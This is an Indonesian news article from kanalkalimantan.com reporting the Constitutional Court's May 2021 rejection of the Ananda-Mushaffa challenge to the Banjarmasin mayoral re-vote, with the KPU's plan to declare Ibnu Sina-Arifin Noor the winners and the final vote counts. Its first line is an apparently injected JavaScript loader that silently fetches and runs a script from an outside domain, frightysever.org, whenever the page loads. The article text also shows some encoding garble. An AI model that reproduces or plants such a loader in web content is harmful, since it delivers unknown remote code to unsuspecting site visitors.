(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Menyusul putusan Mahkamah Konstitusi (MK) yang menolak gugatan hasil Pemungutan Suara Ulang (PSU) Ananda-Mushaffa, KPU Banjarmasin langsung tancap gas. Rencananya, Jumat (28/5/2021) KPU akan menetapkan paslon Ibnu Sina-Arifin Noor sebagai Wali Kota dan Wakil Wali Kota Banjarmasin terpilih hasil Pilkada 2020.
Koodinator Divisi Hukum Dan Pengawasan KPU Banjarmasin Heriwijaya kepada Kanalkalimantan.com mengatakan, akan segera menindaklanjuti putusan MK.
“Rencananya besok, kita akan menetapkan Calon Pasangan Terpilih pada Jumat pukul 8 malam di Hotel G Sign Banjarmasin,” kata Heri, Kamis (27/5/2021).
M Syafruddin Akbar, Komisioner KPU BANJARMASIN
Baca juga:Â Disundul Dump Truck, Pengendara Motor Tewas di Karang Intan!
Sebagaimana diketahui, MK telah memutuskan menolak permohonan gugatan pemungutan suara ulang (PSU) Pilkada Banjarmasin, yang kembali disampaikan paslon Ananda-Mushaffa. Dalam sidang putusan yang digelar Kamis (27/5/2021) pagi, MK menyatakan permohonan pemohon tidak dapat diterima.
Pada putusan tersebut, MK juga mengesahkan keputusan KPU Banjarmasin N 47/PL.02.6-Kpt/6371/KPU-Kot/V/2021 tentang penetapan Rekapitulasi Hasil Penghitungan Suara Pasca Pustusan MK No 21/PHP.KKOT-XIX/2021 dalam Pemilihan Walikota dan Wakil Walikota tanggal 2 Mei 2021.
“Terkait hal itu, MK juga memerintahkan termohon (KPU Banjarmasin) untuk menetapkan paslon terplih dalam Pilwali Banjamasin tahun 2020,†kata hakim konstitusi Anwar Usman.
Sebelumnya, menyikapi hasil Pemungutan Suara Ulang (PSU) Pilwali Kota Banjarmasin 28 April 2021 lalu, diketahui saksi pasangan calon (Paslon) nomor 4, Ananda-Mushaffa merasa masih adanya ketidaknetralan penyelenggara PSU.
Atas kejadian tersebut, kuasa hukum paslon 04, Muhammad Rizky Hidayat SH, memasukkan laporan permohonan kepada Mahkamah Konstitusi (MK). Menurutnya, laporan tersebut karena adanya keberatan dari saksi-saksi yang dicatatkan pada catatan kejadian khusus di KPU kota waktu rekapitulasi lalu.
Pada PSU Pilkada Banjarmasin rampung digelar di 80 TPS di tiga kelurahan, Rabu (28/4/2021). Hasilnya paslon Ananda-Mushaffa unggul dengan meraih suara cukup signifikan sebesar 11.837 suara.
Sayangnya, kemenangan di PSU tersebut tak mampu menghentikan langkah incumbent Ibnu Sina-Arifin Noor menduduki kursi Banjarmasin 1 karena silih suara yang belum terkejar.
Baca juga:Â Tolak Gugatan PSU Ananda, MK Perintahkan KPU Banjarmasin Tetapkan Ibnu Sina-Arifin Pemenang Pilkada!
Ananda meraih 11.837 suara, jauh melesat dibandingkan Ibnu Sina-Arifin Noor yang mendapatkan 5.018 suara. Disusul oleh paslon Khairul Saleh-Habib Ali dengan 574 suara dan paslon Haris Makkie-Ilham Nor 412 suara.
Hasil PSU tersebut jika ditambahkan suara Pilkada sebelumnya, Ibnu Sina-Arifin akan meraih total 89.404 suara. Sedangkan Ananda-Mushaffa 81.359 suara, disusul Haris-Ilham sebanyak 34.860 suara dan sebagai juru kunci Khairul Saleh-Habib Ali dengan 29.917 suara. (kanalkalimantan.com/ila)
Reporter: ila
Editor: cell
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.